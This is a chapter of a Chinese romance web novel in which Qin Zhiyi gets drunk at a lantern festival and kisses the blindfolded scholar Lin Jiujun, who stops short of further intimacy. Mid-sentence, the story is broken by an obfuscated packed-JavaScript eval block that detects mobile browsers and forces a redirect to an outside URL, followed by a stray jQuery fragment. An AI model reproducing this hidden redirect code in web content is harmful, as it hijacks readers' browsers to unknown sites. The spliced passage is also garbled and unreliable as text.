24. 醉酒

作品:《始乱终弃了清冷书生后

    日子一天天过去,虽然快大雪了,但是只起了北风还没落雪,天气还是没那么寒冷。


    这几日,蔺九均因着要跟疗程治眼疾,覆白绫后就等同于眼盲了。店里的生意也就不再参与了,只或多或少过问几句。


    这日夜里,秦知夷在楼下用的饭,她上了楼,见蔺九均站在她的房门口。


    秦知夷走近了,问道,“怎么了?”


    蔺九均轻咳一声,问道,“快到年底了,过几日是颍州的花灯节,夜里江边会放灯,可要去看看?”


    秦知夷在京城时从未听过还有这样的节日,这会突然想起颍州那个女子年满十七不成亲就罚钱坐牢的律令。


    她问道,“又是那个什么王留下的习俗节日么?”


    他应道,“嗯。”


    秦知夷觉得有些新颖,便答应了下来,“那去看看吧。”


    花灯节当夜。


    蔺九均穿戴整齐后,轻轻叩响了秦知夷的房门。


    秦知夷这厢刚收拾好,开了门,看见蔺九均所着的新衣。


    是她让铺子做的那身弹墨竹纹的月白色深衣,还披了件墨色厚氅衣。


    本是要送做他的生辰礼,但天冷得快,虽未到他的生辰,她还是提早送给了他。


    两人初识之时,蔺九均日日身着粗布短衫,后来开了食肆也只是穿些粗糙的布衣。


    蔺九均本就生的好看,这身深衣又衬得他,颇有一股名士风流之感。


    秦知夷有些感慨,果然人靠衣装。


    蔺九均见她久久不言,看不见的慌乱让他不自在地问了一句,“好看吗?”


    他未患眼疾之前于衣着打扮上没有过多要求,患了眼疾之后,更是只求个干净整洁。


    秦知夷送给他这件衣服时,他既意外又欢喜。


    他没想到她会这样留心他的生辰,他的心仿佛都被涨得满满的。


    秦知夷笑说,“可好看了,穿着这身衣服就像那打马过长街的状元郎一样,一副少不得要娶十个八个公主的气派。”


    按照她的要求定做的衣服能差哪去?


    蔺九均愣了愣,轻声道,“不娶公主,娶阿妁。”


    秦知夷轻笑一声,某种意义上来说他确实娶了个公主,她只道,“等你眼睛好了,就知道我今晚穿的比公主还好看。”


    秦知夷今日穿了一件杏黄色的镶毛羽丝绒长袄,极舒适御寒。


    没有侍女,她又不会着妆,只点了些口脂,衬得本就肤色如雪的她,艳丽明媚如夜间明珠一般。


    街上人很多,摆摊卖花灯、吃食、首饰的也多,除了一些风俗民情的首饰衣服外,同京城中秋节一般无二,逛起来也没什么意思。


    倒是有个沿街卖烤肉饼的,秦知夷最爱吃颍州的肉饼,皮薄馅多,同时兼具酥脆厚实的口感,她一下就多买了几个。


    江边,不少男男女女在放花灯,还有在纸灯上写字、作画的。


    秦知夷和蔺九均都没有去放灯,只靠在石栏上看着放灯的人和被放飞的灯。


    秦知夷问道,“所以花灯节是庆祝什么的,为什么要放花灯?”


    蔺九均想了想,回道,“以花灯来寄托思念和心愿,放飞时,祈求万事如意、顺遂健康之类的。”


    秦知夷道,“那你怎么不去放?”


    蔺九均摇了摇头,说道,“我不信这个。”


    他连福报都不信,怎会信这个。


    秦知夷眨了眨眼,说道,“你确实不用信,你是历过劫的人,此后命里都是万事如意、顺遂健康。”


    蔺九均闻言,指尖微动,他突然很想借着月光、烛光,去看她此刻的模样,哪怕只能看见光影也好。


    她的言语总是这样,能够在这样冷的天,这样吹人的江风里,这样的温热,这样的让人贪恋。


    江边莹莹灯烛光,二人皆静默未言语。


    良久,蔺九均摸出一支玉簪递给了秦知夷。


    他说道,“这支玉簪,成色应当没有你原来的那支好,但我摸着雕工不错,你戴着玩玩。”


    “其实,我更喜欢金银器。”秦知夷摸了摸玉簪,笑道,“不过既然是你送的,就勉强收下了。”


    蔺九均认真道,“下次送阿妁更好的。”


    江风徐徐,有些冷意。


    秦知夷迎着风,看着漫天飘高的花灯,说道,“你做事倒真是一向胸有成竹,食肆就开得很不错,待等你的眼睛治好了,你就可以做自己喜欢的事情了。”


    虽是阴差阳错,但某种意义上来说他让她过上了她曾向往的小日子,她也希望他能做自己向往之事。


    蔺九均心神一动,问道,“我喜欢做什么?”


    秦知夷扭头,看见蔺九均的发丝和白绫带随着江风飘摇着。


    她想了想,说道,“你这样的才学与风范,大抵是为官做宰,但你脾气秉性又自成一格,以后估计就算是做官,也是个清正廉洁、不合群的官吧。”


    秦知夷觉得,蔺九均这种人,就是她父亲会喜欢的那种有才干、有胆识的读书人。


    蔺九均听着她褒不褒、贬不贬的话,笑得无奈,“阿妁忘了,我做不了官。”


    秦知夷戳了戳他的脸颊,说道,“你怎么这么死脑筋,青州现在打得那么厉害,淮南王肯定重新建制了。虽然我这么说有点像谋逆,但是淮南王有勇有谋,你若能跟着他,就是一条崭新的官途,再怎么说也不能拿前朝的剑斩今朝的官啊!”


    蔺九均只当她是玩笑,嘱咐道,“这话可不许和旁人说了。”


    夜更浓,街上集市也快散去,江边的人也稀散着,花灯节也快落幕了。


    江边有些冷,二人又回到街上逛去了。


    秦知夷买了几个肉饼,在江边啃完了,回到街上时就说饼子干得噎人,要去买饮子喝。


    路过一个酒水酿的摊子,秦知夷说没喝过摊子上的酒,定要尝一尝摆摊的酒和他酿的酒有什么区别。


    第一口,她说辣嗓子,没尝出味。


    于是,又喝了一口。


    她又道,不大好喝,但是好怪,什么味?


    就又喝了一口。


    如此往复,秦知夷在人家摊前喝了个七七八八,味没怎么尝出来,人倒是醉了。


    因着蔺九均还在疗程内,覆着白绫看不见路,出门时两人手腕上绑了一条红绳。


    可回来时,引路的她却醉得东倒西歪,他只好摘了白绫,一路问路问回来。


    这一路甚是艰难。


    柳家食肆里,蔺九均抱着喝醉的秦知夷,小心翼翼地走上阶梯,好不容易将她送回了二楼的房里。


    蔺九均心中暗叹,再也不能让她喝酒了。


    房里点了两只蜡烛,还算亮堂。


    将人放在床上后,蔺九均就要起身。


    秦知夷突然醉眼朦胧地坐起身来,拽住他,“去哪?”


    “给你熬醒酒汤。”


    “我又喝醉了?”


    “嗯。”


    “不想喝醒酒汤。”


    蔺九均话中无奈,说道,“不喝点醒酒汤再睡,明早醒来会宿醉头疼的。”


    秦知夷却不吭声了,但依旧不撒手。


    屋里虽点着灯,但蔺九均仍然是看不清的。


    见她不吱声,他正要说些什么,突然,秦知


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14482319|154455||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    夷就将头轻轻靠在了他的肩上。


    她低喃的声音响起,“我喜欢这样的日子,岁月静好,自由自在。”


    秦知夷说着,伸出手指了指蔺九均,“我也喜欢你在我身边。”


    她向来是上来就动嘴动手,这是蔺九均第一次听到她对他说喜欢,他只觉面红耳赤起来。


    原来这就是两情相悦,两心相许么?


    他的心顿时雀跃起来,一时欢欣鼓舞,一时羞怯难当的。


    末了,心底泛起一丝私心。


    是揣揣不安的他此刻还想听到更多、更明确的回答。


    蔺九均语气讪讪,循循善诱道,“喜欢谁?”


    秦知夷答得很快,也很乖,“喜欢蔺九均。”


    听到了想要听的话,沿床坐着的蔺九均嘴角弯了弯。


    而秦知夷懒懒地搭在他肩膀上,她的指尖缠绕着他的青丝,眸间不见醉态。


    她嗓音轻软而狡黠地继续说道,“我想、亲你。”


    蔺九均说要慢慢来,她也就遂了他的愿,只是她哪是慢慢来的性子。


    此时此刻,她一步步搭着甜言蜜语的陷阱,他也一步步走入。


    蔺九均没有看到秦知夷的眼中此刻无半点醉意。


    她清醒而又沉沦地蛊惑着他,“我们好久没有亲……”


    她没有机会说完,因为剩下的话,全都被蔺九均尽数含去。


    房间里一时升温,气氛灼热。


    蔺九均主动的吻,不像他素日秉性那般冷静、内敛,而是充斥着浓浓的冲动和炙热的喜欢。


    秦知夷被吻得有些上气不接下气,双手微微抵住他的胸口,空气中只余她和他喘气的声音。


    歇了不到一会,两人复又吻上。


    秦知夷被吻得浑身绵软无力,一下躺倒在床,蔺九均忙用他的手护着她的头顶。


    她的手却搭上他的脖颈,将他带向她。


    蔺九均有些猝不及防,用另一只手就着她的下巴,他与她的唇就这么将吻未吻地蹭着。


    床榻之间,梅子酒的气味和栀子花味的澡豆香气在焦灼地纠缠着。


    蔺九均灼热的身躯严密地贴着她,秦知夷有些意乱情迷,抬手要去拆扯他的衣裳。


    蔺九均逐渐模糊的意识顿时清醒,他轻轻捉住她作乱的手。


    他声音发紧,带着一丝蛊惑人心的低哑,“不可以。”


    秦知夷睁着迷懵地双眼,问道,“为什么?”


    “你回回都是醉酒时,才……”后头的话,蔺九均有些说不出口。


    秦知夷没听到缘由,“嗯?”


    蔺九均压抑的喉间,滚动了一下,言道,“总之,不可以。”


    秦知夷又扯上他的衣带子,追问地紧切,“那什么时候可以?”


    蔺九均攥紧了她扯的衣带子,语气里带上了一丝执拗,“这种事,只有夫妻之间才可以做。”


    蔺九均的言语里,颇有种若是秦知夷与他做了那事,她就必得对他负责一辈子。


    秦知夷听了这话,不言语了。


    蔺九均的衣带子还被她攥在手里,他无奈道,“阿妁,放开我,你现在不清醒。”


    秦知夷立时反驳道,“我现在很清醒。”


    蔺九均叹了声气,放弃和一个醉鬼讲道理,狠了狠心,将衣带子从她手里扯走。


    他起了身,说道,“我去熬醒酒汤。”


    听见蔺九均开门出去的动静,秦知夷在床上翻了个身,踢了踢被子,心中缠杂着些郁气和欲气。


    她是当真喜欢亲蔺九均,可这个臭书生怎么在男女之事上也能坐怀不乱,坚守本心的?